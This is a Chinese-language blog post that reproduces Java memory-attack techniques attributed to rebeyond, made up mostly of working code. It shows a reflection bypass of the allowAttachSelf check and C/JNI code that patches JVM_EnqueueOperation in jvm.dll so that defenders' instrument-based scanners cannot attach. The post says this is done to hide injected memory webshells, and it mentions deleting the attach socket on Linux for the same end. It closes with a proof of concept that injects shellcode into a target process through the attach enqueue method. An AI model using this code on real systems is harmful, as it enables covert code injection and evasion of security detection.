解析與復現議題
Java記憶體攻擊技術漫談
https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw
allowAttachSelf繞過
在Java9及以後的版本不允許SelfAttach(即無法attach自身的程式)，如圖
除錯一下，發現這裡ALLOW_ATTACH_SELF欄位設定為false
步入getSavedProperty，最終到ImmitableCollections中的table中去查詢allowAttachSelf，找不到，返回空
之後，這裡進行了ALLOW_ATTACH_SELF欄位的檢測，若不為true則丟擲異常
這樣看來有兩種方法對這個檢驗進行繞過一種是使用反射直接更改HotSpotVirtualMachine中的ALLOW_ATTACH_SELF欄位，另一種是想辦法在ImmitableCollections中的table中新增jdk.attach.allowAttachSelf。
rebeyond師傅使用的是第一種方法。
Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
Field modifiersField=Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.setBoolean(null,true);
這樣便完成了allowAttachSelf機制的繞過。
記憶體馬防檢測
instrument機制實現類agent記憶體馬的注入，但是也可以實現對記憶體馬進行檢測。
這裡給出的方法就是注入記憶體馬後將instrument機制破壞的，使其無法檢測程式的類位元組碼等。
以下為instrument的工作流程
1.檢測工具作為Client，根據指定的PID，向目標JVM發起attach請求；
2.JVM收到請求後，做一些校驗（比如上文提到的jdk.attach.allowAttachSelf的校驗），校驗通過後，會開啟一個IPC通道。
3.接下來Client會封裝一個名為AttachOperation的C++物件，傳送給Server端；
4.Server端會把Client發過來的AttachOperation物件放入一個佇列；
5.Server端另外一個執行緒會從佇列中取出AttachOperation物件並解析，然後執行對應的操作，並把執行結果通過IPC通道返回Client。
windows端
現在loadAgent處下斷點，步入除錯。
步入，執行execute方法
看一下execute方法
InputStream execute(String cmd, Object ... args)
throws AgentLoadException, IOException
{
assert args.length <= 3; // includes null
// create a pipe using a random name
Random rnd = new Random();
int r = rnd.nextInt();
String pipeprefix = "\\\\.\\pipe\\javatool";
String pipename = pipeprefix + r;
long hPipe;
try {
hPipe = createPipe(pipename);//建立pipe管道
} catch (IOException ce) {
// Retry with another random pipe name.
r = rnd.nextInt();
pipename = pipeprefix + r;
hPipe = createPipe(pipename);
}
// check if we are detached - in theory it's possible that detach is invoked
// after this check but before we enqueue the command.
if (hProcess == -1) {
closePipe(hPipe);
throw new IOException("Detached from target VM");
}
try {
// enqueue the command to the process
enqueue(hProcess, stub, cmd, pipename, args);//呼叫enqueue方法
....
這個enqueue是native方法。
看一下這個方法的原始碼
/*
* Class: sun_tools_attach_WindowsVirtualMachine
* Method: enqueue
* Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V
*/
JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
jstring pipename, jobjectArray args)
{
DataBlock data;
DataBlock* pData;
DWORD* pCode;
DWORD stubLen;
HANDLE hProcess, hThread;
jint argsLen, i;
jbyte* stubCode;
jboolean isCopy;
/*
* Setup data to copy to target process
*/
data._GetModuleHandle = _GetModuleHandle;
data._GetProcAddress = _GetProcAddress;
strcpy(data.jvmLib, "jvm");
strcpy(data.func1, "JVM_EnqueueOperation");
strcpy(data.func2, "_JVM_EnqueueOperation@20");
/*
* Command and arguments
*/
jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
argsLen = (*env)->GetArrayLength(env, args);
if (argsLen > 0) {
if (argsLen > MAX_ARGS) {
JNU_ThrowInternalError(env, "Too many arguments");
}
for (i=0; i<argsLen; i++) {
jobject obj = (*env)->GetObjectArrayElement(env, args, i);
if (obj == NULL) {
data.arg[i][0] = '\0';
} else {
jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
}
if ((*env)->ExceptionOccurred(env)) return;
}
}
for (i=argsLen; i<MAX_ARGS; i++) {
data.arg[i][0] = '\0';
}
/* pipe name */
jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);
//以上都是引數的轉換，從java轉化為c
/*
* Allocate memory in target process for data and code stub
* (assumed aligned and matches architecture of target process)
*/
hProcess = (HANDLE)handle;
pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );//在目標程式記憶體分配空間，大小為DataBlock
if (pData == NULL) {
JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
return;
}
WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
//將data的內容寫入到之前分配的空間
stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
//在目標程式記憶體分配空間，大小為stubLen
if (pCode == NULL) {
JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
return;
}
WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
////將stubCode的內容寫入到之前分配的空間
if (isCopy) {
(*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
}
/*
* Create thread in target process to execute code
*/
//下面就是去執行目標程式中的程式碼
hThread = CreateRemoteThread( hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE) pCode,
pData,
0,
NULL );
if (hThread != NULL) {
if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
} else {
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
if (exitCode) {
switch (exitCode) {
case ERR_OPEN_JVM_FAIL :
JNU_ThrowIOException(env,
"jvm.dll not loaded by target process");
break;
case ERR_GET_ENQUEUE_FUNC_FAIL :
JNU_ThrowIOException(env,
"Unable to enqueue operation: the target VM does not support attach mechanism");
break;
default :
JNU_ThrowInternalError(env,
"Remote thread failed for unknown reason");
}
}
}
CloseHandle(hThread);
} else {
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {
//
// This error will occur when attaching to a process belonging to
// another terminal session. See "Remarks":
// http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx
//
JNU_ThrowIOException(env,
"Insufficient memory or insufficient privileges to attach");
} else {
JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
}
}
VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}
這裡pcode與pdata值得分析。
pcode是從stub中提取出的在目標程式執行的程式碼，而pdata是他的引數。
我們來看一下stub，以下是生成stub的方法generateStub
JNIEXPORT jbyteArray JNICALL Java_sun_tools_attach_WindowsVirtualMachine_generateStub
(JNIEnv *env, jclass cls)
{
/*
* We should replace this with a real stub generator at some point
*/
DWORD len;
jbyteArray array;
len = (DWORD)((LPBYTE) jvm_attach_thread_func_end - (LPBYTE) jvm_attach_thread_func);//從這裡可以看出stub的大小就是jvm_attach_thread_func方法的大小，那麼基本上可以確定pcode就是jvm_attach_thread_func方法
array= (*env)->NewByteArray(env, (jsize)len);
if (array != NULL) {
(*env)->SetByteArrayRegion(env, array, 0, (jint)len, (jbyte*)&jvm_attach_thread_func);
}
return array;
}
我們來看一下在服務側執行的pcode，即jvm_attach_thread_func
DWORD WINAPI jvm_attach_thread_func(DataBlock *pData)
{
HINSTANCE h;
EnqueueOperationFunc addr;
h = pData->_GetModuleHandle(pData->jvmLib);//jvmLib=jvm
if (h == NULL) {
return ERR_OPEN_JVM_FAIL;
}
addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func1));//func1=JVM_EnqueueOperation
if (addr == NULL) {
addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func2));//func2=_JVM_EnqueueOperation@20
}
if (addr == NULL) {
return ERR_GET_ENQUEUE_FUNC_FAIL;
}
/* "null" command - does nothing in the target VM */
if (pData->cmd[0] == '\0') {
return 0;
} else {
return (*addr)(pData->cmd, pData->arg[0], pData->arg[1], pData->arg[2], pData->pipename);//執行指定func1或func2
}
}
我們來梳理一下整個流程
現在看來只要將jvmLib匯出的兩個函式JVM_EnqueueOperation和_JVM_EnqueueOperation@20 NOP掉即可完成instrument流程的破壞。
來看一下rebeyond師傅的處理方法
用JNI，核心程式碼如下：
unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}
/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOIDdst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/
復現踩坑記錄
這裡注意生成dll的平臺要與執行java程式的平臺相同，否則可能會不相容。
直接執行native方法可以執行，但是一旦使用agent attch到目標程式就會出現Can't find dependent libraries問題。發現是生成dll使用的專案出錯，需要使用動態dll連結庫
具體程式碼：
dll生成程式碼
#include "pch.h"
#include "Inst.h"
#include "killinst.h"
JNIEXPORT void JNICALL Java_killinst_testHello
(JNIEnv*, jobject) {
printf("hello");
}
/*
* Class: killinst
* Method: defendinst
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_killinst_defendinst
(JNIEnv*, jobject) {
unsigned char buf[] = "\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst = GetProcAddress(hModule, "JVM_EnqueueOperation");
printf("JVM_EnqueueOperation:%p", dst);
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(), dst, 1, PAGE_EXECUTE_READWRITE, &old)) {
WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}
}
java程式碼
public class killinst {
public native void testHello();
public native void defendinst();
}
呼叫dll程式碼
System.load("C://Users//xyy//source//repos//INST//x64//Release//INST.dll");
killinst killinst = new killinst();
killinst.testHello();
killinst.defendinst();
成功使得attach失敗
linux端
在Linux平臺上，IPC通訊採用的是UNIX Domain Socket，因此想破壞Linux平臺下的instrument attach流程還是比較簡單的，只要把對應的UNIX Domain Socket檔案刪掉就可以了。刪掉後，我們嘗試對目標JVM進行attach，便會提示無法attach
Java原生程式注入（可以pop calc ，注入木馬等）
之前在防檢測的時候，我們發現了enqueue方法。
結合之前的分析enqueue使用stub給目標註入了特定的程式碼並createRemoteThread執行程式碼。
本來的stub是執行一個將AttachOperation的操作，由native生成，但是stub是作為引數傳入enqueue函式的，因此可以通過反射來改變stub引數，利用enqueue方法實現在目標程式注入特定程式碼。
附上rebeyond師傅的poc：
import java.lang.reflect.Method;
public class ThreadMain { public static void main(String[] args) throws Exception { System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
//hProcess=getHandleByPid(30244);
byte buf[] = new byte[] //pop calc.exe
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 };
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result); }
}
Thread.sleep(4000);
}
public static long getHandleByPid(int pid)
{
Class cls= null;
long hProcess=-1;
try {
cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods()) {
if (m.getName().equals("openProcess"))
{
m.setAccessible(true);
Object result=m.invoke(cls,pid);
System.out.println("pid :"+result); hProcess=Long.parseLong(result.toString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return hProcess; }}
成功注入
我們實現了Windows平臺上的Java遠端程式注入。另外，這個技術還有個額外效果，那就是當注入程式的PID設定為-1的時候，可以往當前Java程式注入任意Native程式碼，以實現不用JNI執行任意Native程式碼的效果。這樣就不需要再單獨編寫JNI庫來執行Native程式碼了，也就是說，上文提到的記憶體馬防檢測機制，不需要依賴JNI，只要純Java程式碼也可以實現。